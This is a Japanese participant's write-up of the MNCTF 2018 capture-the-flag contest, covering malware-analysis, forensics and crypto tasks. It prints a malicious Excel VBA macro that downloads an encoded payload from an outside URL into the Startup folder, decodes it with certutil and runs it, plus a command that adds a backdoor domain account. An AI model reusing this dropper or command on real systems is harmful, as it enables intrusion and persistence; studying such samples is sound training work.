MNCTF 2018 Writeup

このイベントは2018/7/12 10:00(JST)~2018/7/12 11:30(JST)に
カンファレンスの一つとして開催されました。
個人戦の大会で、最初の確認の問題以外は100点が基準で
解いた人が多くなると点数が下がっていくというルール。
結果は561点で72名中4位という好成績でした。
解けた問題をWriteupとして書いておきます。

練習問題 (MISC 1)

フラグは問題に書かれていた。

MNCTF2018

新人奮闘I (マルウェア解析 20)

添付のexeファイルのsha256を求める問題。

$ sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29

新人奮闘II (マルウェア解析 60)

先ほどのexeの表層解析を行う。ハッシュやコンパイル日時、インポートしている関数を正しくレポートすると、フラグが表示されるようだ。
ハッシュは先ほどの答えのほかにmd5sha1が必要。あとはファイルサイズを求める。

$ md5sum AD_OptimizationTool.exe 
541427a9dbe43b10c05b856cdcdc5ba6  AD_OptimizationTool.exe
$ sha1sum AD_OptimizationTool.exe 
e0fa838e0f191f97c5dac7a831af60d750432017  AD_OptimizationTool.exe
$ ls -l AD_OptimizationTool.exe 
-rwxrwxrwx 1 root root 2048  711 19:46 AD_OptimizationTool.exe

コンパイル日時とインポート関数はPE viewで確認。IMAGE_NT_HEADERSのIMAGE_FILE_HEADERのTime Date Stampを見ると、以下のようになっている。

2018/07/11 10:46:08 UTC

Section .importのIMPORT Name Tableを見ると、関数一覧が見れる。

kernel32.dll
- ExitProcess
- Sleep
shell32.dll
- ShellExecuteA
user32.dll
- MessageBoxA

f:id:satou-y:20180718225425p:plain

d56d9a6036bd18ee98878eb74ae8d663

新人奮闘III (マルウェア解析 40)

先ほどのexeが実行しているコマンドを答える問題。テキストエディタでexeを開いてみると、コマンドらしきものが書かれている部分がある。

AD Optimizer Optimization successfuly finished.\nThe speed increased 176%. cmd /c net user /add /domain vpnadmin P@ssw0rD1! open
cmd /c net user /add /domain vpnadmin P@ssw0rD1!

新人奮闘IV (フォレンジック 40)

前の問題で使っているコマンドのユーザ名にvpnadminを指定している。このユーザ名で検索する。

2018/07/13 15:01,vpnadmin,27.117.128.1
2018/07/13 15:01

新人奮闘V (その他 40)

前の問題でIPアドレスは27.117.128.1とわかっている。このIPアドレスGoogleで調べる。

韓国

標的攻撃I (マルウェア解析 60)

添付ファイルはExcelだが、マクロが組まれている。Excelマクロのコードを見る。

Private Declare Sub Sleep Lib "kernel32" (ByVal ms As Long)

Private Sub Workbook_Open()

us = Application.UserName

For Each C In ActiveSheet.Range("C6:C11")
    If us = C.Value Then
        Set objShell = CreateObject("WScript.Shell")
        startupFolder = objShell.SpecialFolders("Startup")
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
        Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
        xHttp.Open "GET", "https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False
        xHttp.Send
        With bStrm
            .Type = 1 '//binary
            .Open
            .write xHttp.responseBody
            .savetofile startupFolder & "\cert.pem", 2 '//overwrite
        End With
        Sleep (10000)
        Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
        Sleep (5000)
        Shell startupFolder & "\cert.exe"
    End If
Next

End Sub

ExcelシートのC6:C11の値とユーザ名が一致した場合に動作することがわかる。答えはその中に1つ答えればよい。

Yasu Kobayashi

標的攻撃II (マルウェア解析 40)

HTTPSの通信が発生するので、そのURLを答える問題。前の問題で確認したコードからURLはわかる。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

標的型攻撃III (マルウェア解析 80)

2次検体が生成されるので、そのsha256を求める問題。
先ほどのURLにアクセスし、そのデータをcert.pemとして保存する。この状態で次のコマンドを実行し、2次検体を生成する。

>certutil -decode cert.pem cert.exe
入力長 = 98458
出力長 = 73802
CertUtil: -decode コマンドは正常に完了しました。
$ sha256sum cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382  cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

標的攻撃IV (ネットワーク 80)

2次検体を実行するとHTTPSの通信が発生するので、そのURLを答える問題。
実行すると、一瞬コマンドプロンプトが表示されたので、画面キャプチャを取る。
f:id:satou-y:20180718224612p:plain
PowerShellでアクセスしているURLがわかった。

https://shinobotps1.com/download_get.php

盗難情報 (暗号 100)

XOR(シングルバイトキー)→ Base64 → ROT13で暗号化されている。XOR暗号部分はブルートフォースで試すと、あるキーでPNGファイルのフォーマットになることがわかる。最終的なコードは次のようになり、実行するとPNG形式の画像ファイルに復号される。

with open('encrypted.bin', 'rb') as f:
    data = f.read()

data = data.decode('rot13')
data = data.decode('base64')

key = ord(data[0]) ^ 0x89
flag = ''
for i in range(len(data)):
    flag += chr(key ^ ord(data[i]))

with open('flag.png', 'wb') as f:
    f.write(flag)

f:id:satou-y:20180718225112p:plain

NEJI_190_3GM